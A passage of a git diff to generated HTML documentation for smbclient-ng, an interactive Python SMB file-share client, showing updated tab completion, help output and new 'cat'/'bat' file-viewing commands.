+            
236    def complete(self, text, state):
+237        """
+238        Function to handle command completion in the LDAP console.
+239
+240        This function completes the user"s input based on the available options for commands in the LDAP console.
 241
-242            elif len(text) != 0:
-243                # This is for the main command
-244                if text.count(" ") == 0:
-245                    self.matches = [s for s in self.commands.keys() if s and s.startswith(text)]
-246                
-247                # This is for subcommands
-248                elif text.count(" ") >= 1:
-249                    command, remainder = text.split(" ", 1)
-250                    if command in self.commands.keys():
-251                        if command == "use":
-252                            # Choose SMB Share to connect to
-253                            self.matches = [
-254                                command + " " + s.lower()
-255                                for s in self.smbSession.list_shares().keys()
-256                                if s.lower().startswith(remainder.lower())
-257                            ]
-258
-259                        elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]:
-260                            # Choose remote directory
-261                            path = ""
-262                            if '\\' in remainder.strip() or '/' in remainder.strip():
-263                                path = remainder.strip().replace('/', ntpath.sep)
-264                                path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) 
-265
-266                            directory_contents = self.smbSession.list_contents(path=path).items()
-267
-268                            matching_entries = []
-269                            for _, entry in directory_contents:
-270                                if entry.is_directory() and entry.get_longname() not in [".",".."]:
-271                                    if len(path) != 0:
-272                                        matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep)
-273                                    else:
-274                                        matching_entries.append(entry.get_longname() + ntpath.sep)
-275
-276                            self.matches = [
-277                                command + " " + s 
-278                                for s in matching_entries
-279                                if s.lower().startswith(remainder.lower())
-280                            ]
+242        Args:
+243            text (str): The current text input by the user.
+244            state (int): The current state of completion.
+245
+246        Returns:
+247            str: The next completion suggestion based on the user"s input state.
+248        """
+249
+250        if state == 0:
+251            
+252            # No text typed yet, need the list of commands available
+253            if len(text) == 0:
+254                self.matches = [s for s in self.commands.keys()]
+255
+256            elif len(text) != 0:
+257                # This is for the main command
+258                if text.count(" ") == 0:
+259                    self.matches = [s for s in self.commands.keys() if s and s.startswith(text)]
+260                
+261                # This is for subcommands
+262                elif text.count(" ") >= 1:
+263                    command, remainder = text.split(" ", 1)
+264                    if command in self.commands.keys():
+265                        if command == "use":
+266                            # Choose SMB Share to connect to
+267                            self.matches = [
+268                                command + " " + s.lower()
+269                                for s in self.smbSession.list_shares().keys()
+270                                if s.lower().startswith(remainder.lower())
+271                            ]
+272
+273                        elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]:
+274                            # Choose remote directory
+275                            path = ""
+276                            if '\\' in remainder.strip() or '/' in remainder.strip():
+277                                path = remainder.strip().replace('/', ntpath.sep)
+278                                path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) 
+279
+280                            directory_contents = self.smbSession.list_contents(path=path).items()
 281
-282                        elif command in ["get", "rm"]:
-283                            # Choose local files and directories
-284                            path = ""
-285                            if '\\' in remainder.strip() or '/' in remainder.strip():
-286                                path = remainder.strip().replace('/', ntpath.sep)
-287                                path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) 
-288
-289                            directory_contents = self.smbSession.list_contents(path=path).items()
-290
-291                            matching_entries = []
-292                            for _, entry in directory_contents:
-293                                if entry.get_longname() not in [".",".."]:
-294                                    if len(path) != 0:
-295                                        if entry.is_directory():
-296                                            matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep)
-297                                        else:
-298                                            matching_entries.append(path + ntpath.sep + entry.get_longname())
-299                                    else:
-300                                        if entry.is_directory():
-301                                            matching_entries.append(entry.get_longname() + ntpath.sep)
-302                                        else:
-303                                            matching_entries.append(entry.get_longname())
+282                            matching_entries = []
+283                            for _, entry in directory_contents:
+284                                if entry.is_directory() and entry.get_longname() not in [".",".."]:
+285                                    if len(path) != 0:
+286                                        matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep)
+287                                    else:
+288                                        matching_entries.append(entry.get_longname() + ntpath.sep)
+289
+290                            self.matches = [
+291                                command + " " + s 
+292                                for s in matching_entries
+293                                if s.lower().startswith(remainder.lower())
+294                            ]
+295
+296                        elif command in ["bat", "cat", "get", "rm"]:
+297                            # Choose local files and directories
+298                            path = ""
+299                            if '\\' in remainder.strip() or '/' in remainder.strip():
+300                                path = remainder.strip().replace('/', ntpath.sep)
+301                                path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) 
+302
+303                            directory_contents = self.smbSession.list_contents(path=path).items()
 304
-305                            self.matches = [
-306                                command + " " + s 
-307                                for s in matching_entries
-308                                if s.lower().startswith(remainder.lower())
-309                            ]
-310
-311                        elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]:
-312                            # Choose directory
-313                            path = ""
-314                            if os.path.sep in remainder.strip():
-315                                path = path.split(os.path.sep)[:-1]
-316                                path = os.path.sep.join(path)
-317                            
-318                            # Current dir
-319                            if len(path.strip()) == 0:
-320                                path = "."
-321
-322                            directory_contents = os.listdir(path=path + os.path.sep)
-323                            matching_entries = []
-324                            for entry in directory_contents:
-325                                if entry not in [".",".."]:
-326                                    entry_path = path + os.path.sep + entry
-327                                    if os.path.isdir(entry_path):
-328                                        matching_entries.append(entry_path + os.path.sep)
-329                                    else:
-330                                        matching_entries.append(entry_path)
-331
-332                            self.matches = [
-333                                command + " " + s
-334                                for s in matching_entries
-335                                if s.startswith(remainder)
-336                            ]
-337                            
-338                        else:
-339                            # Generic case for subcommands
-340                            self.matches = [
-341                                command + " " + s
-342                                for s in self.commands[command]["subcommands"]
-343                                if s.startswith(remainder)
-344                            ]
-345                    else:
-346                        # Unknown subcommand, skipping autocomplete
-347                        pass
-348                else:
-349                    self.matches = []
-350            else:
-351                self.matches = self.commands.keys()[:]
-352
-353        try:
-354            return self.matches[state] + " "
-355        except IndexError:
-356            return None
+305                            matching_entries = []
+306                            for _, entry in directory_contents:
+307                                if entry.get_longname() not in [".",".."]:
+308                                    if len(path) != 0:
+309                                        if entry.is_directory():
+310                                            matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep)
+311                                        else:
+312                                            matching_entries.append(path + ntpath.sep + entry.get_longname())
+313                                    else:
+314                                        if entry.is_directory():
+315                                            matching_entries.append(entry.get_longname() + ntpath.sep)
+316                                        else:
+317                                            matching_entries.append(entry.get_longname())
+318
+319                            self.matches = [
+320                                command + " " + s 
+321                                for s in matching_entries
+322                                if s.lower().startswith(remainder.lower())
+323                            ]
+324
+325                        elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]:
+326                            # Choose directory
+327                            path = ""
+328                            if os.path.sep in remainder.strip():
+329                                path = path.split(os.path.sep)[:-1]
+330                                path = os.path.sep.join(path)
+331                            
+332                            # Current dir
+333                            if len(path.strip()) == 0:
+334                                path = "."
+335
+336                            directory_contents = os.listdir(path=path + os.path.sep)
+337                            matching_entries = []
+338                            for entry in directory_contents:
+339                                if entry not in [".",".."]:
+340                                    entry_path = path + os.path.sep + entry
+341                                    if os.path.isdir(entry_path):
+342                                        matching_entries.append(entry_path + os.path.sep)
+343                                    else:
+344                                        matching_entries.append(entry_path)
+345
+346                            self.matches = [
+347                                command + " " + s
+348                                for s in matching_entries
+349                                if s.startswith(remainder)
+350                            ]
+351                            
+352                        else:
+353                            # Generic case for subcommands
+354                            self.matches = [
+355                                command + " " + s
+356                                for s in self.commands[command]["subcommands"]
+357                                if s.startswith(remainder)
+358                            ]
+359                    else:
+360                        # Unknown subcommand, skipping autocomplete
+361                        pass
+362                else:
+363                    self.matches = []
+364            else:
+365                self.matches = self.commands.keys()[:]
+366
+367        try:
+368            return self.matches[state] + " "
+369        except IndexError:
+370            return None
 
@@ -1228,79 +1256,79 @@

-
358    def print_help(self, command=None):
-359        """
-360        Prints help information for a specific command or all commands if no command is specified.
-361
-362        This method displays the help information for the command passed as an argument. If no command is specified,
-363        it prints the help information for all available commands. The help information includes the command syntax,
-364        description, and any subcommands associated with it. This method is designed to provide users with the necessary
-365        guidance on how to use the commands in the smbclient-ng shell.
-366
-367        Args:
-368            command (str, optional): The command to display help information for. If None, help for all commands is displayed.
-369
-370        Returns:
-371            None
-372        """
-373
-374        if command is not None:
-375            if command not in list(self.commands.keys())+["format"]:
-376                command = None
-377        
-378        # Print help for a specific command
-379        if command is not None:
-380            if command == "format":
-381                self.print_help_format()
-382            else:
-383                print("│")
-384                if self.config.no_colors:
-385                    command_str = command + "─"* (15 - len(command))
-386                    if len(self.commands[command]["description"]) == 0:
-387                        print("│ ■ %s┤  " % command_str)
-388                    elif len(self.commands[command]["description"]) == 1:
-389                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
-390                    else:
-391                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
-392                        for line in self.commands[command]["description"][1:]:
-393                            print("│ %s%s " % (" "*(15+3), line))
-394                else:
-395                    command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m"
-396                    if len(self.commands[command]["description"]) == 0:
-397                        print("│ ■ %s\x1b[90m┤\x1b[0m  " % command_str)
-398                    elif len(self.commands[command]["description"]) == 1:
-399                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
-400                    else:
-401                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
-402                        for line in self.commands[command]["description"][1:]:
-403                            print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+2), line))
-404                print("│")
-405        # Generic help
-406        else:
-407            print("│")
-408            commands = sorted(self.commands.keys())
-409            for command in commands:
-410                if self.config.no_colors:
-411                    command_str = command + "─"* (15 - len(command))
-412                    if len(self.commands[command]["description"]) == 0:
-413                        print("│ ■ %s┤  " % command_str)
-414                    elif len(self.commands[command]["description"]) == 1:
-415                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
-416                    else:
-417                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
-418                        for line in self.commands[command]["description"][1:]:
-419                            print("│ %s%s " % (" "*(15+2), line))
-420                else:
-421                    command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m"
-422                    if len(self.commands[command]["description"]) == 0:
-423                        print("│ ■ %s\x1b[90m┤\x1b[0m  " % command_str)
-424                    elif len(self.commands[command]["description"]) == 1:
-425                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
-426                    else:
-427                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
-428                        for line in self.commands[command]["description"][1:]:
-429                            print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line))
-430                print("│")
+            
372    def print_help(self, command=None):
+373        """
+374        Prints help information for a specific command or all commands if no command is specified.
+375
+376        This method displays the help information for the command passed as an argument. If no command is specified,
+377        it prints the help information for all available commands. The help information includes the command syntax,
+378        description, and any subcommands associated with it. This method is designed to provide users with the necessary
+379        guidance on how to use the commands in the smbclient-ng shell.
+380
+381        Args:
+382            command (str, optional): The command to display help information for. If None, help for all commands is displayed.
+383
+384        Returns:
+385            None
+386        """
+387
+388        if command is not None:
+389            if command not in list(self.commands.keys())+["format"]:
+390                command = None
+391        
+392        # Print help for a specific command
+393        if command is not None:
+394            if command == "format":
+395                self.print_help_format()
+396            else:
+397                print("│")
+398                if self.config.no_colors:
+399                    command_str = command + "─"* (15 - len(command))
+400                    if len(self.commands[command]["description"]) == 0:
+401                        print("│ ■ %s┤  " % command_str)
+402                    elif len(self.commands[command]["description"]) == 1:
+403                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
+404                    else:
+405                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
+406                        for line in self.commands[command]["description"][1:]:
+407                            print("│ %s%s " % (" "*(15+2), line))
+408                else:
+409                    command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m"
+410                    if len(self.commands[command]["description"]) == 0:
+411                        print("│ ■ %s\x1b[90m┤\x1b[0m  " % command_str)
+412                    elif len(self.commands[command]["description"]) == 1:
+413                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
+414                    else:
+415                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
+416                        for line in self.commands[command]["description"][1:]:
+417                            print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line))
+418                print("│")
+419        # Generic help
+420        else:
+421            print("│")
+422            commands = sorted(self.commands.keys())
+423            for command in commands:
+424                if self.config.no_colors:
+425                    command_str = command + "─"* (15 - len(command))
+426                    if len(self.commands[command]["description"]) == 0:
+427                        print("│ ■ %s┤  " % command_str)
+428                    elif len(self.commands[command]["description"]) == 1:
+429                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
+430                    else:
+431                        print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0]))
+432                        for line in self.commands[command]["description"][1:]:
+433                            print("│ %s%s " % (" "*(15+2), line))
+434                else:
+435                    command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m"
+436                    if len(self.commands[command]["description"]) == 0:
+437                        print("│ ■ %s\x1b[90m┤\x1b[0m  " % command_str)
+438                    elif len(self.commands[command]["description"]) == 1:
+439                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
+440                    else:
+441                        print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0]))
+442                        for line in self.commands[command]["description"][1:]:
+443                            print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line))
+444                print("│")
 
@@ -1331,24 +1359,24 @@

-
432    def print_help_format(self):
-433        """
-434        Prints the help information for the 'format' used in remote 'ls' and 'dir' commands.
-435
-436        This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning
-437        of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory.
-438        """
-439
-440        print("File attributes format:\n")
-441        print("\x1b[1mdachnrst\x1b[0m")
-442        print("\x1b[90m│││││││└──>\x1b[0m Temporary")
-443        print("\x1b[90m││││││└───>\x1b[0m System")
-444        print("\x1b[90m│││││└────>\x1b[0m Read-Only")
-445        print("\x1b[90m││││└─────>\x1b[0m Normal")
-446        print("\x1b[90m│││└──────>\x1b[0m Hidden")
-447        print("\x1b[90m││└───────>\x1b[0m Compressed")
-448        print("\x1b[90m│└────────>\x1b[0m Archived")
-449        print("\x1b[90m└─────────>\x1b[0m Directory")
+            
446    def print_help_format(self):
+447        """
+448        Prints the help information for the 'format' used in remote 'ls' and 'dir' commands.
+449
+450        This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning
+451        of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory.
+452        """
+453
+454        print("File attributes format:\n")
+455        print("\x1b[1mdachnrst\x1b[0m")
+456        print("\x1b[90m│││││││└──>\x1b[0m Temporary")
+457        print("\x1b[90m││││││└───>\x1b[0m System")
+458        print("\x1b[90m│││││└────>\x1b[0m Read-Only")
+459        print("\x1b[90m││││└─────>\x1b[0m Normal")
+460        print("\x1b[90m│││└──────>\x1b[0m Hidden")
+461        print("\x1b[90m││└───────>\x1b[0m Compressed")
+462        print("\x1b[90m│└────────>\x1b[0m Archived")
+463        print("\x1b[90m└─────────>\x1b[0m Directory")
 
diff --git a/documentation/smbclientng/core/InteractiveShell.html b/documentation/smbclientng/core/InteractiveShell.html index 57f4252..e9660b3 100644 --- a/documentation/smbclientng/core/InteractiveShell.html +++ b/documentation/smbclientng/core/InteractiveShell.html @@ -63,9 +63,15 @@

API Documentation

  • process_command
  • +
  • + command_bat +
  • command_cd
  • +
  • + command_cat +
  • command_close
  • @@ -163,679 +169,739 @@

    5# Date created : 23 may 2024 6 7 - 8import datetime - 9import impacket - 10from importlib import import_module - 11import ntpath - 12import os - 13import readline - 14import shutil - 15import sys - 16import traceback - 17from rich.console import Console - 18from rich.table import Table - 19from smbclientng.core.CommandCompleter import CommandCompleter - 20from smbclientng.core.utils import b_filesize, unix_permissions, windows_ls_entry, local_tree - 21 - 22 - 23## Decorators + 8import charset_normalizer + 9import datetime + 10import impacket + 11from importlib import import_module + 12import ntpath + 13import os + 14import readline + 15import shutil + 16import sys + 17import traceback + 18from rich.console import Console + 19from rich.table import Table + 20from rich.syntax import Syntax + 21from smbclientng.core.CommandCompleter import CommandCompleter + 22from smbclientng.core.utils import b_filesize, unix_permissions, windows_ls_entry, local_tree + 23 24 - 25def command_arguments_required(func): - 26 def wrapper(*args, **kwargs): - 27 self, arguments,command = args[0], args[1], args[2] - 28 if len(arguments) != 0: - 29 return func(*args, **kwargs) - 30 else: - 31 self.commandCompleterObject.print_help(command=command) - 32 return None - 33 return wrapper - 34 - 35def active_smb_connection_needed(func): - 36 def wrapper(*args, **kwargs): - 37 self, arguments,command = args[0], args[1], args[2] - 38 # - 39 self.smbSession.ping_smb_session() - 40 if self.smbSession.connected: - 41 return func(*args, **kwargs) - 42 else: - 43 print("[!] SMB Session is disconnected.") - 44 return None - 45 return wrapper - 46 - 47def smb_share_is_set(func): - 48 def wrapper(*args, **kwargs): - 49 self, arguments,command = args[0], args[1], args[2] - 50 if self.smbSession.smb_share is not None: - 51 return func(*args, **kwargs) - 52 else: - 53 print("[!] You must open a share first, try the 'use <share>' command.") - 54 return None - 55 return wrapper - 56 - 57 - 58class InteractiveShell(object): - 59 """ - 60 Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng. - 61 - 62 This class handles user input, executes commands, and manages the state of the SMB session. It provides - 63 a command line interface for users to interact with SMB shares, execute commands like directory listing, - 64 file transfer, and more. - 65 - 66 Attributes: - 67 smbSession (SMBConnection): The active SMB connection session. - 68 debug (bool): Flag to enable or disable debug mode. - 69 smb_share (str): The current SMB share in use. - 70 smb_path (str): The current path within the SMB share. - 71 commandCompleterObject (CommandCompleter): Object to handle command completion and help generation. - 72 - 73 Methods: - 74 __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode. - 75 run(self): Starts the command line interface loop, processing user input until exit. - 76 """ - 77 - 78 def __init__(self, smbSession, config): - 79 # Objects - 80 self.smbSession = smbSession - 81 self.config = config - 82 self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config) - 83 readline.set_completer(self.commandCompleterObject.complete) - 84 readline.parse_and_bind("tab: complete") - 85 readline.set_completer_delims("\n") - 86 # Additional modules - 87 self.modules = {} - 88 self.__load_modules() - 89 - 90 def run(self): - 91 running = True - 92 while running: - 93 try: - 94 user_input = input(self.__prompt()).strip().split(" ") - 95 command, arguments = user_input[0].lower(), user_input[1:] - 96 - 97 # Exit the command line - 98 if command == "exit": - 99 running = False -100 -101 elif command in self.commandCompleterObject.commands.keys(): -102 self.process_command( -103 command=command, -104 arguments=arguments -105 ) -106 -107 elif command.strip() == "": -108 pass -109 -110 # Fallback to unknown command -111 else: -112 print("Unknown command. Type \"help\" for help.") -113 -114 except KeyboardInterrupt as e: -115 print() -116 -117 except EOFError as e: -118 print() -119 running = False -120 -121 except Exception as e: -122 if self.config.debug: -123 traceback.print_exc() -124 print("[!] Error: %s" % str(e)) -125 -126 def process_command(self, command, arguments=[]): -127 # Skip -128 if command.strip() == "": -129 pass -130 -131 # Display help -132 elif command == "help": -133 self.command_help(arguments, command) -134 -135 # Closes the current SMB session -136 elif command == "close": -137 self.command_close(arguments, command) -138 -139 # Change directory in the current share -140 elif command == "cd": -141 self.command_cd(arguments, command) -142 -143 # Get a file -144 elif command == "get": -145 self.command_get(arguments, command) -146 -147 # SMB server info -148 elif command == "info": -149 self.command_info(arguments, command) -150 -151 # List directory contents in a share -152 elif command in ["ls", "dir"]: -153 self.command_ls(arguments, command) -154 -155 # Creates a new remote directory -156 elif command == "mkdir": -157 self.command_mkdir(arguments, command) -158 -159 # Put a file -160 elif command == "put": -161 self.command_put(arguments, command) -162 -163 # Changes the current local directory -164 elif command == "lcd": -165 self.command_lcd(arguments, command) -166 -167 # Lists the contents of the current local directory -168 elif command == "lls": -169 self.command_lls(arguments, command) -170 -171 # Creates a new local directory -172 elif command == "lmkdir": -173 self.command_lmkdir(arguments, command) -174 -175 # Shows the current local directory -176 elif command == "lpwd": -177 self.command_lpwd(arguments, command) -178 -179 # Removes a local file -180 elif command == "lrm": -181 self.command_lrm(arguments, command) -182 -183 # Removes a local directory -184 elif command == "lrmdir": -185 self.command_lrmdir(arguments, command) -186 -187 # Shows the current local directory -188 elif command == "ltree": -189 self.command_ltree(arguments, command) -190 -191 # Modules -192 elif command == "module": -193 self.command_module(arguments, command) -194 -195 # Reconnects the current SMB session -196 elif command in ["connect", "reconnect"]: -197 self.command_reconnect(arguments, command) -198 -199 # Reset the TTY output -200 elif command == "reset": -201 self.command_reset(arguments, command) -202 -203 # Removes a remote file -204 elif command == "rm": -205 self.command_rm(arguments, command) -206 -207 # Removes a remote directory -208 elif command == "rmdir": -209 self.command_rmdir(arguments, command) -210 -211 # List shares -212 elif command == "shares": -213 self.command_shares(arguments, command) -214 -215 # Displays a tree view of the CWD -216 elif command == "tree": -217 self.command_tree(arguments, command) -218 -219 # Use a share -220 elif command == "use": -221 self.command_use(arguments, command) -222 -223 # Commands ================================================================ -224 -225 @command_arguments_required -226 @active_smb_connection_needed -227 @smb_share_is_set -228 def command_cd(self, arguments, command): -229 # Command arguments required : Yes -230 # Active SMB connection needed : Yes -231 # SMB share needed : Yes + 25## Decorators + 26 + 27def command_arguments_required(func): + 28 def wrapper(*args, **kwargs): + 29 self, arguments,command = args[0], args[1], args[2] + 30 if len(arguments) != 0: + 31 return func(*args, **kwargs) + 32 else: + 33 self.commandCompleterObject.print_help(command=command) + 34 return None + 35 return wrapper + 36 + 37def active_smb_connection_needed(func): + 38 def wrapper(*args, **kwargs): + 39 self, arguments,command = args[0], args[1], args[2] + 40 # + 41 self.smbSession.ping_smb_session() + 42 if self.smbSession.connected: + 43 return func(*args, **kwargs) + 44 else: + 45 print("[!] SMB Session is disconnected.") + 46 return None + 47 return wrapper + 48 + 49def smb_share_is_set(func): + 50 def wrapper(*args, **kwargs): + 51 self, arguments,command = args[0], args[1], args[2] + 52 if self.smbSession.smb_share is not None: + 53 return func(*args, **kwargs) + 54 else: + 55 print("[!] You must open a share first, try the 'use <share>' command.") + 56 return None + 57 return wrapper + 58 + 59 + 60class InteractiveShell(object): + 61 """ + 62 Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng. + 63 + 64 This class handles user input, executes commands, and manages the state of the SMB session. It provides + 65 a command line interface for users to interact with SMB shares, execute commands like directory listing, + 66 file transfer, and more. + 67 + 68 Attributes: + 69 smbSession (SMBConnection): The active SMB connection session. + 70 debug (bool): Flag to enable or disable debug mode. + 71 smb_share (str): The current SMB share in use. + 72 smb_path (str): The current path within the SMB share. + 73 commandCompleterObject (CommandCompleter): Object to handle command completion and help generation. + 74 + 75 Methods: + 76 __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode. + 77 run(self): Starts the command line interface loop, processing user input until exit. + 78 """ + 79 + 80 def __init__(self, smbSession, config): + 81 # Objects + 82 self.smbSession = smbSession + 83 self.config = config + 84 self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config) + 85 readline.set_completer(self.commandCompleterObject.complete) + 86 readline.parse_and_bind("tab: complete") + 87 readline.set_completer_delims("\n") + 88 # Additional modules + 89 self.modules = {} + 90 self.__load_modules() + 91 + 92 def run(self): + 93 running = True + 94 while running: + 95 try: + 96 user_input = input(self.__prompt()).strip().split(" ") + 97 command, arguments = user_input[0].lower(), user_input[1:] + 98 + 99 # Exit the command line +100 if command == "exit": +101 running = False +102 +103 elif command in self.commandCompleterObject.commands.keys(): +104 self.process_command( +105 command=command, +106 arguments=arguments +107 ) +108 +109 elif command.strip() == "": +110 pass +111 +112 # Fallback to unknown command +113 else: +114 print("Unknown command. Type \"help\" for help.") +115 +116 except KeyboardInterrupt as e: +117 print() +118 +119 except EOFError as e: +120 print() +121 running = False +122 +123 except Exception as e: +124 if self.config.debug: +125 traceback.print_exc() +126 print("[!] Error: %s" % str(e)) +127 +128 def process_command(self, command, arguments=[]): +129 # Skip +130 if command.strip() == "": +131 pass +132 +133 # Display help +134 elif command == "help": +135 self.command_help(arguments, command) +136 +137 # Cat the contents of a file +138 elif command == "bat": +139 self.command_bat(arguments, command) +140 +141 # Cat the contents of a file +142 elif command == "cat": +143 self.command_cat(arguments, command) +144 +145 # Closes the current SMB session +146 elif command == "close": +147 self.command_close(arguments, command) +148 +149 # Change directory in the current share +150 elif command == "cd": +151 self.command_cd(arguments, command) +152 +153 # Get a file +154 elif command == "get": +155 self.command_get(arguments, command) +156 +157 # SMB server info +158 elif command == "info": +159 self.command_info(arguments, command) +160 +161 # List directory contents in a share +162 elif command in ["ls", "dir"]: +163 self.command_ls(arguments, command) +164 +165 # Creates a new remote directory +166 elif command == "mkdir": +167 self.command_mkdir(arguments, command) +168 +169 # Put a file +170 elif command == "put": +171 self.command_put(arguments, command) +172 +173 # Changes the current local directory +174 elif command == "lcd": +175 self.command_lcd(arguments, command) +176 +177 # Lists the contents of the current local directory +178 elif command == "lls": +179 self.command_lls(arguments, command) +180 +181 # Creates a new local directory +182 elif command == "lmkdir": +183 self.command_lmkdir(arguments, command) +184 +185 # Shows the current local directory +186 elif command == "lpwd": +187 self.command_lpwd(arguments, command) +188 +189 # Removes a local file +190 elif command == "lrm": +191 self.command_lrm(arguments, command) +192 +193 # Removes a local directory +194 elif command == "lrmdir": +195 self.command_lrmdir(arguments, command) +196 +197 # Shows the current local directory +198 elif command == "ltree": +199 self.command_ltree(arguments, command) +200 +201 # Modules +202 elif command == "module": +203 self.command_module(arguments, command) +204 +205 # Reconnects the current SMB session +206 elif command in ["connect", "reconnect"]: +207 self.command_reconnect(arguments, command) +208 +209 # Reset the TTY output +210 elif command == "reset": +211 self.command_reset(arguments, command) +212 +213 # Removes a remote file +214 elif command == "rm": +215 self.command_rm(arguments, command) +216 +217 # Removes a remote directory +218 elif command == "rmdir": +219 self.command_rmdir(arguments, command) +220 +221 # List shares +222 elif command == "shares": +223 self.command_shares(arguments, command) +224 +225 # Displays a tree view of the CWD +226 elif command == "tree": +227 self.command_tree(arguments, command) +228 +229 # Use a share +230 elif command == "use": +231 self.command_use(arguments, command) 232 -233 path = ' '.join(arguments) -234 try: -235 self.smbSession.set_cwd(path=path) -236 except impacket.smbconnection.SessionError as e: -237 print("[!] SMB Error: %s" % e) -238 -239 def command_close(self, arguments, command): -240 # Command arguments required : No -241 # Active SMB connection needed : No -242 # SMB share needed : No -243 -244 self.smbSession.ping_smb_session() -245 if self.smbSession.connected: -246 self.smbSession.close_smb_session() -247 -248 @command_arguments_required -249 @active_smb_connection_needed -250 @smb_share_is_set -251 def command_get(self, arguments, command): -252 # Command arguments required : Yes -253 # Active SMB connection needed : Yes -254 # SMB share needed : Yes -255 -256 # Get files recursively -257 if arguments[0] == "-r": -258 path = ' '.join(arguments[1:]).replace('/', ntpath.sep) -259 try: -260 self.smbSession.get_file_recursively(path=path) -261 except impacket.smbconnection.SessionError as e: -262 print("[!] SMB Error: %s" % e) -263 # Get a single file -264 else: -265 path = ' '.join(arguments).replace('/', ntpath.sep) -266 try: -267 self.smbSession.get_file(path=path) -268 except impacket.smbconnection.SessionError as e: -269 print("[!] SMB Error: %s" % e) -270 -271 def command_help(self, arguments, command): -272 # Command arguments required : No -273 # Active SMB connection needed : No -274 # SMB share needed : No -275 -276 if len(arguments) != 0: -277 self.commandCompleterObject.print_help(command=arguments[0]) -278 else: -279 self.commandCompleterObject.print_help(command=None) -280 -281 @active_smb_connection_needed -282 def command_info(self, arguments, command): -283 # Command arguments required : No -284 # Active SMB connection needed : Yes -285 # SMB share needed : No -286 -287 print_server_info = False -288 print_share_info = False -289 if len(arguments) != 0: -290 print_server_info = (arguments[0].lower() == "server") -291 print_share_info = (arguments[0].lower() == "share") -292 else: -293 print_server_info = True -294 print_share_info = True -295 -296 try: -297 self.smbSession.info( -298 share=print_share_info, -299 server=print_server_info -300 ) -301 except impacket.smbconnection.SessionError as e: -302 print("[!] SMB Error: %s" % e) +233 # Commands ================================================================ +234 +235 @command_arguments_required +236 @active_smb_connection_needed +237 @smb_share_is_set +238 def command_bat(self, arguments, command): +239 # Command arguments required : Yes +240 # Active SMB connection needed : Yes +241 # SMB share needed : Yes +242 +243 path = ' '.join(arguments) +244 try: +245 rawcontents = self.smbSession.read_file(path=path) +246 if rawcontents is not None: +247 encoding = charset_normalizer.detect(rawcontents)["encoding"] +248 if encoding is not None: +249 filecontent = rawcontents.decode(encoding).rstrip() +250 lexer = Syntax.guess_lexer(path=ntpath.basename(path), code=filecontent) +251 # Some trickery for the files undetected by the lexer +252 if lexer == "default": +253 if '<?xml' in filecontent: +254 lexer = "xml" +255 elif '<html>' in filecontent: +256 lexer = "html" +257 syntax = Syntax(code=filecontent, line_numbers=True, lexer=lexer) +258 Console().print(syntax) +259 else: +260 print("[!] Could not detect charset of '%s'." % path) +261 except impacket.smbconnection.SessionError as e: +262 print("[!] SMB Error: %s" % e) +263 +264 @command_arguments_required +265 @active_smb_connection_needed +266 @smb_share_is_set +267 def command_cd(self, arguments, command): +268 # Command arguments required : Yes +269 # Active SMB connection needed : Yes +270 # SMB share needed : Yes +271 +272 path = ' '.join(arguments) +273 try: +274 self.smbSession.set_cwd(path=path) +275 except impacket.smbconnection.SessionError as e: +276 print("[!] SMB Error: %s" % e) +277 +278 @command_arguments_required +279 @active_smb_connection_needed +280 @smb_share_is_set +281 def command_cat(self, arguments, command): +282 # Command arguments required : Yes +283 # Active SMB connection needed : Yes +284 # SMB share needed : Yes +285 +286 path = ' '.join(arguments) +287 try: +288 rawcontents = self.smbSession.read_file(path=path) +289 if rawcontents is not None: +290 encoding = charset_normalizer.detect(rawcontents)["encoding"] +291 if encoding is not None: +292 